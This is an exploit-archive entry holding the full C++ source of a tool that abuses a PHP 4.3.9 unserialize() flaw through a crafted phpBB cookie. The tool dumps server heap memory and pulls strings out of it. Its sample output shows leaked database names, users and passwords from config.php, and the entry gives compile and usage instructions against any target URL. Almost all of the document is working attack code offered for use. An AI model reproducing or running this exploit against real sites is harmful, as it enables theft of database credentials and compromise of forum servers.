PHP 4.3.9 + phpBB 2.x - 'Unserialize()' Remote Information Leak

// Compiled version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/697.rar (phpbbmemorydump.rar)
// Source serv.cpp is at the bottom of the page - str0ke

// Notes from author:
//      compile with borland c++ (freecommandlinetools) :
//               bcc32 -c serv.cpp
//               bcc32 bbmemorydump.cpp serv.obj

/*
       *** coded by overdose ***
       slythers@gmail.com
       php bug in ext/standart/var_unserializer.c http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0
       for read heap memorie with phpbb2 ;>
       tested : phpbbmemorydump.exe "http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt
       result:
               - string detected : /home/virtual/site.com/phpBB/config.php
               - string detected : dbname
               - string detected : PT_N
               - string detected : phpbb
               - string detected : dbuser
               - string detected : phpbb  << mysql user
               - string detected : dbpasswd
               - string detected : phpBB_R0cKs << mysql password
               - string detected : table_prefix
               - string detected : phpbb_
       use like :
               phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]
       greetz:
       my crew MWA
       pull the plug , vortex challenge
       www.security-challenge.com
       http://overdose.tcpteam.org/
       slipknot , dr dre , ...
       all #s-c and all i forget
       compile with borland c++ (freecommandlinetools) :
               bcc32 -c serv.cpp
               bcc32 bbmemorydump.cpp serv.obj
*/
#include <winsock.h>
#include <iostream.h>
class serveur
{
 public:
 bool createsocket();
 bool listen(unsigned short port,unsigned int nbwaitconnect);
 serveur * waitconnect();
 bool connectsocket(char *dns,unsigned short port);
 bool socketsend(char *envoi);
 bool getword(char in[],unsigned int max);
 bool getword(char in2[]);
 bool getline(char buf[],unsigned int maxcara);
 bool getline(char buf2[]);
 bool ifgetchar(char *caraif);
 bool ifchargetnb(char ligne[],unsigned int aumax);
 bool ifchargetline(char ligne[],unsigned int lemax);
 bool ifchargetline(char ligne[]);
 bool getnb(char *vect,unsigned int nb);
 bool sendnb(char *vec,unsigned int longueur);
 bool isconnect();
 int getnumsock();
 void closesock();
 bool createbytheclass(int thesock,struct sockaddr_in thestruct);
 unsigned int maxread;
 unsigned int seconde;
 unsigned int microseconde;
 serveur();
 ~serveur();
 void operator << (char *chaine);
 void operator >> (char *read);

 private:
 bool connected;
 bool create;
 struct sockaddr_in mysock;
 int sock;

};
#define HTTP_PORT 80
#define SIGNATURE_REQUEST signaturequete
#define SIGNATURE_REQUEST_START "\nSet-Cookie: "
#define DEFAULT_COOKIE_NAME "phpbb2mysql"
#define END_SIGNATURE "_data="
#define MIN_NB_LETTRE 3
#define NB_SEC_FOR_WAIT 1000*5 // 5 secondes
char signaturequete[512];
struct url{
       char *dns;
       char *uri;
       unsigned short port;
};

struct url parseurl(char *of);
char * intostr(int erf);
bool goodcar(char carac);
unsigned int utf8decode(char *utf);
char alphanum(char *of,bool *wesh);
int main(int argc,char **argv)
{
       struct url urlparsed;
       serveur http;
       unsigned int nbmemread;
       char car;
       bool repeat = 0;
       bool displayheap = 0;
       char *cookname = DEFAULT_COOKIE_NAME;
       WSAData wsadata;
       if (WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
               return 1;
       cout <<"coded by overdose / bad boyz coding"<<endl;

       if(argc < 3)
       {
               cout <<"Example: phpbbmemorydump.exe http://site.com/phpbb/ 30000 -cookiename=phpbb2support > a.txt"<<endl;
               return 0;
       };

       for(int argcpt = 3;argcpt < argc;argcpt++)
       {
               if(!strcmp(argv[argcpt],"repeat"))
                       repeat = 1;
               else if(!strcmp(argv[argcpt],"display_all_heap"))
                       displayheap = 1;
               else if(!strncmp(argv[argcpt],"-cookiename=",sizeof("-cookiename=")-1))
               {
                       cookname= argv[argcpt] + sizeof("-cookiename=")-1;
               };
       };

       strcpy(SIGNATURE_REQUEST,SIGNATURE_REQUEST_START);
       strcat(SIGNATURE_REQUEST,cookname);
       strcat(SIGNATURE_REQUEST,END_SIGNATURE);
       nbmemread = atoi(argv[2]);
 
       if(!nbmemread)
               return 0;
       urlparsed = parseurl(argv[1]);
       if(!urlparsed.uri)
               return 0;
       do{
               http.createsocket();
  
               if(!http.connectsocket(urlparsed.dns,urlparsed.port))
               {
                       cout << "can't connect to "<<urlparsed.dns<<endl;
                       return 0;
               };

               http << "GET " ;
               http << urlparsed.uri ;
               http << " HTTP/1.1\nHost: ";
               http << urlparsed.dns ;
               http << "\nCookie: ";
               http << cookname;
               http << "_data=s:";
               http << intostr(nbmemread);
               http << ":%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
               http << urlparsed.dns;
               http << "\nCookie: ";
               http << cookname;
               http << "_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
               http << urlparsed.dns;
               http << "\nAccept-Language: fr\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
  
               cout <<"requete effectuer ..."<<endl;
               char signature[sizeof(SIGNATURE_REQUEST)];
               char *word,*wtmp;
               unsigned int cpt ,sizesign;
               unsigned int compteur,cptstr;
               bool exit = 0;
               sizesign = strlen(SIGNATURE_REQUEST);
               memset(signature,'a',sizesign);
               signature[sizesign] ='\0';
               compteur = 0;
               cptstr = 0;
               while(!exit && http.getnb(&car,sizeof(char)))
               {
                       // ajout du detecteur de heap
                       for(cpt = 0; cpt < (sizesign-1);cpt++)
                               signature[cpt] = signature[cpt+1];
                       signature[sizesign-1] = car;
                       if(!strcmp(signature,SIGNATURE_REQUEST))
                       {
                               word = new char[nbmemread*3+1];
                               word[cptstr] = '\0';
                               compteur = strlen(intostr(nbmemread)) + 4;
                               for(cpt = 0; cpt < compteur;cpt++)
                                       http.getnb(&car,sizeof(char));
                               while(!exit && http.getnb(&car,sizeof(char)))
                               {
                                       if((car == ';') || (cptstr >= (nbmemread*3)))
                                       {
                                               exit = 1;
                                               continue;
                                       };
                                       word[cptstr] = car;
                                       cptstr++;
                                       word[cptstr] ='\0';
                               };
                               if(displayheap)
                                       cout << word<<endl;
                               nbmemread = utf8decode(word);
                               for(compteur = 0;compteur < nbmemread;)
                               {
                                       for(cpt=compteur;goodcar(word[cpt]);cpt++);
                                       if((cpt - compteur) > MIN_NB_LETTRE )
                                       {
                                               wtmp = new char[(cpt - compteur)+1];
                                               strncpy(wtmp,&word[compteur],cpt - compteur);
                                               wtmp[cpt - compteur] = '\0';
                                               cout <<"- string detected : " <<wtmp<<endl;
                                               delete[] wtmp;
                                       }
                                       if(!(cpt - compteur))
                                               cpt++;
                                       compteur = cpt;
                               };
                               delete[] word;
                       };
               };
               http.closesock();
               if(repeat)
               {
                       cout <<endl<<"attente jusqu'a la prochaine requete ..."<<endl;
                       Sleep(NB_SEC_FOR_WAIT);
               };
       }while(repeat);
       /*
       delete[] urlparsed.uri; // removed extra \n's milw0rm.com
       delete[] urlparsed.dns;
       */
       WSACleanup();
       return 0;
}
struct url parseurl(char *of)
{
       struct url retour;
       unsigned int taille;
       char tmp;
       retour.dns = 0x00;
       retour.uri = 0x00;
       retour.port = HTTP_PORT ;
       while( *of && (*of != ':'))
               of++;
       if(*of && *(of+1) && *(of+2))
       {
               if((*(of+1) != '/') || (*(of+2) != '/'))
                       return retour;
               of += 3;
               for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') && (of[taille] != ':');taille++);
               retour.dns = new char [taille+1];
               memcpy(retour.dns,of,taille);
               retour.dns[taille] = '\0';
               of += taille;
               if(*of == ':')
               {
                       of++;
                       for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
                       tmp = of[taille];
                       of[taille] = '\0';
                       if(taille)
                               retour.port = atoi(of);
                       of[taille] = tmp;
                       of += taille;
               };
               if(!*of)
               {
                       retour.uri = new char[2];
                       strcpy(retour.uri,"/");
               }
               else
               {
                       retour.uri = new char [strlen(of)+1];
                       strcpy(retour.uri,of);
               };
       };
       return retour;
}
char * intostr(int erf)
{
       char *chaine;
       int puissance;
       int erf2;
       if( erf >= 0)
       {
               puissance =0;
               for(int kekette = 1;kekette<=erf;kekette = kekette*10)
               {
                       puissance++;
               };
               if (puissance == 0)
               {
                       puissance = 1;
               };
               chaine = new char[puissance+1];
               chaine[puissance] ='\0';
               for(int arf = puissance-1;arf >=0;arf--)
               {
                       erf2 = erf % 10 ;
                       chaine[arf] = '0' + erf2;
                       erf = erf /10;
               };
               return chaine;
       }
       else
               return 0;
}
bool goodcar(char carac)
{
       unsigned short cpt;
       if(!carac)
               return 0;
       // i hate do like this :/
       char *goodcar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>é@à)]=}è[_-{#&*\\/-+~'ç$%.:;|^~$,!?\"\'\t\r\n ";
       for(cpt = 0;(goodcar[cpt] != '\0') && (goodcar[cpt] != carac);cpt++);
       if(goodcar[cpt] == carac)
               return 1;
       return 0;
}

unsigned int utf8decode(char *utf)
{
       char *r;
       char *w;
       char tmp;
       bool han;
       r = w = utf;
       while(*r)
       {
               if(*r =='%')
               {
                       tmp = alphanum(r+1,&han);
                       if(han)
                       {
                               *w = tmp;
                               r += 2;
                       }
                       else
                               *w = *r;
               }
               else
                       *w = *r;
               w++;
               r++;
       };
       *w = '\0';
       return (w-utf);
}

char alphanum(char *of,bool *wesh)
{
       unsigned char retour;
       retour = 0x00;
       *wesh = 0;
       if(!(*of && *(of+1)))
               return 0x00;
       if((*of >= 'a') && (*of <= 'f'))
               retour = ((*of - 'a') +10) * 0x10;
       else if((*of >= 'A') && (*of <= 'F'))
               retour = ((*of - 'A') +10) * 0x10;
       else if((*of >= '0') && (*of <= '9'))
               retour = (*of - '0') * 0x10;
       else
               return 0x00;
       of++;
       if((*of >= 'a') && (*of <= 'f'))
               retour += ((*of - 'a') +10);
       else if((*of >= 'A') && (*of <= 'F'))
               retour += ((*of - 'A') +10);
       else if((*of >= '0') && (*of <= '9'))
               retour += (*of - '0');
       else
               return 0x00;
       *wesh = 1;
       return retour;
}

//////////////////////////////////

/*
#include <winsock.h>
#include <string.h>

class serveur
{
	public:
		bool createsocket();
		bool listen(unsigned short port,unsigned int nbwaitconnect);
		serveur * waitconnect();
		bool connectsocket(char *dns,unsigned short port);
		bool socketsend(char *envoi);
		bool getword(char in[],unsigned int max);
		bool getword(char in2[]);
		bool getline(char buf[],unsigned int maxcara);
		bool getline(char buf2[]);
		bool ifgetchar(char *caraif);
		bool ifchargetnb(char ligne[],unsigned int aumax);
		bool ifchargetline(char ligne[],unsigned int lemax);
		bool ifchargetline(char ligne[]);
		bool getnb(char *vect,unsigned int nb);
		bool sendnb(char *vec,unsigned int longueur);
		bool isconnect();
		int getnumsock();
		void closesock();
		bool createbytheclass(int thesock,struct sockaddr_in thestruct);
		unsigned int maxread;
		unsigned int seconde;
		unsigned int microseconde;
		serveur();
		~serveur();
		void operator << (char *chaine);
		void operator >> (char *read);
		
	private:
		bool connected;
		bool create;
		struct sockaddr_in mysock;
		int sock;
		
};


bool serveur::createsocket()
{
	if (create)
		return 0;
	sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock <0)
	{
		create = 0;
		return 0;
	};
	create = 1;
	return sock;
}

bool serveur::listen(unsigned short port, unsigned int nbwaitconnect)
{
	int test;
	memset(&mysock, 0, sizeof(mysock));
	mysock.sin_family = AF_INET ;
	mysock.sin_addr.s_addr = htonl(INADDR_ANY);
	mysock.sin_port = htons(port);
	test = bind(sock,(sockaddr *) &mysock,sizeof(mysock));
	if (test <0)
	{
		closesock();
		return 0;
	};
	listen(sock,nbwaitconnect);
	return 1;
}

serveur * serveur::waitconnect()
{
	struct sockaddr_in astruct;
	int taille;
	int asock;
	serveur * newsock ;
	taille = sizeof(astruct);
	asock = accept(sock, (sockaddr *) &astruct,&taille);
	newsock = new serveur ;
	newsock->createbytheclass(asock,astruct);
	return newsock;
}

bool serveur::connectsocket(char *dns,unsigned short port)
{
	struct hostent *hoste;
	int test;
	memset(&mysock, 0, sizeof(mysock));
	if(!(hoste = gethostbyname(dns)))
		mysock.sin_addr.s_addr = inet_addr(dns);
	else
		memcpy(&(mysock.sin_addr),hoste->h_addr,hoste->h_length);
	mysock.sin_family = AF_INET ;
	mysock.sin_port = htons(port);
	test = connect(sock,(struct sockaddr *) &mysock , sizeof(mysock));
	if(test <0)
		return 0;
	connected = 1;
	return 1;
};

bool serveur::socketsend(char *envoi)
{
	int veri;
	int taiverif;
	if(!connected)
		return 0;
	veri = strlen(envoi);
	taiverif = send(sock,envoi,veri,0);
	if(veri != taiverif)
	{
		connected = 0;
		return 0;
	};
	return 1;
}

bool serveur::getline(char buf[],unsigned int maxcara)
{
	unsigned int testing;
	unsigned int curseur;
	char recoi;
	if(!connected)
		return 0;
	curseur = 0;
	do{
		testing = recv(sock,&recoi,sizeof(char),0);
		if(testing != sizeof(char))
		{
			buf[curseur] = '\0' ;
			connected = 0;
			return 0;
		};
		if( curseur == maxcara)
		{
			buf[curseur] = '\0';
		};
		if ((curseur < maxcara)&&(recoi != '\r')&&(recoi != '\n'))
		{
			buf[curseur] = recoi ;
			curseur++ ;
		};
	}while(recoi != '\n' );
	buf[curseur] = '\0' ;
	return 1;
}

bool serveur::getline(char buf2[])
{
	return getline(buf2,maxread);
}

bool serveur::getword(char in[],unsigned int max)
{
	int testing;
	unsigned int curseur;
	char recoi;
	if(!connected)
		return 0;
	curseur = 0;
	do{
		testing = recv(sock,&recoi,sizeof(char),0);
		if(testing != sizeof(char))
		{
			in[curseur] = '\0' ;
			connected = 0;
			return 0;
		};
		if( curseur == max)
		{
			in[curseur] = '\0';
		};
		if ((curseur < max)&&(recoi != '\r')&&(recoi != '\n')&&(recoi != ' '))
		{
			in[curseur] = recoi ;
			curseur++ ;
		};
	}while((recoi != '\n') && (recoi != ' '));
	in[curseur] = '\0' ;
	return 1;
}

bool serveur::getword(char in2[])
{
	return getword(in2,maxread);
}

bool serveur::ifgetchar(char *caraif)
{
	fd_set fdens;
	struct timeval tv;
	tv.tv_sec = seconde ;
	tv.tv_usec = microseconde ;
	FD_ZERO(&fdens);
	FD_SET(sock,&fdens);
	select(sock+1, &fdens, NULL, NULL, &tv);
	if(FD_ISSET(sock,&fdens))
	{
		if(!getnb(caraif,sizeof(char)))
			closesock();
		return 1;
	}
	else
	{
		return 0;
	};
}

bool serveur::ifchargetnb(char ligne[],unsigned int aumax)
{
	bool retour;
	retour = ifgetchar(ligne) ;
	if(retour)
	{
		connected = getnb(ligne,aumax) ;
	};
	return retour;
}

bool serveur::ifchargetline(char ligne[],unsigned int lemax)
{
	bool retour;
	retour = ifgetchar(ligne) ;
	if(retour)
	{
		if(*ligne == '\n')
		{
			*ligne = '\0';
			return 1;
		};
		if(*ligne != '\r')
			ligne++;
		connected = getline(ligne,lemax) ;
	};
	return retour;
}

bool serveur::ifchargetline(char ligne[])
{
	return ifchargetline(ligne,maxread);
}

bool serveur::getnb(char *vect,unsigned int nb)
{
	unsigned int testing;
	unsigned int curseur;
	char recoi;
	if(!connected)
		return 0;
	curseur = 0;
	do{
		testing = recv(sock,&recoi,sizeof(char),0);
		if(testing != sizeof(char))
		{
			vect[curseur] = '\0' ;
			connected = 0;
			return 0;
		};
		if( curseur == nb)
		{
			vect[curseur] = '\0';
		};
		if (curseur < nb)
		{
			vect[curseur] = recoi ;
			curseur++ ;
		};
	}while(curseur < nb);
	return 1;
}

bool serveur::sendnb(char *vec,unsigned int longueur)
{
	int taiverif;
	if(!connected)
		return 0;
	taiverif = send(sock,vec,longueur,0);
	if((int)longueur != taiverif)
	{
		connected = 0;
		return 0;
	};
	return 1;
}

int serveur::getnumsock()
{
	return sock;
}

bool serveur::createbytheclass(int thesock,struct sockaddr_in thestruct)
{
	if(create)
		return 0;
	sock = thesock ;
	memcpy(&mysock,&thestruct,sizeof(thestruct));
	create = 1;
	connected = 1;
	return 1;
}

void serveur::closesock()
{
	if(create) 
	{
		closesocket(sock);
		create = 0;
		connected = 0;
	};
}

bool serveur::isconnect()
{
	return connected;
}

void serveur::operator << (char *chaine)
{
	socketsend(chaine);
}

void serveur::operator >> (char *read)
{
	getword(read);
}

serveur::serveur()
{
	connected = 0;
	create = 0 ;
	maxread = 0xFFFFFFFF ;
	seconde = 0;
	microseconde = 0;
	createsocket();
}

serveur::~serveur()
{
	if(connected)
		closesock();
}
*/




// milw0rm.com [2004-12-17]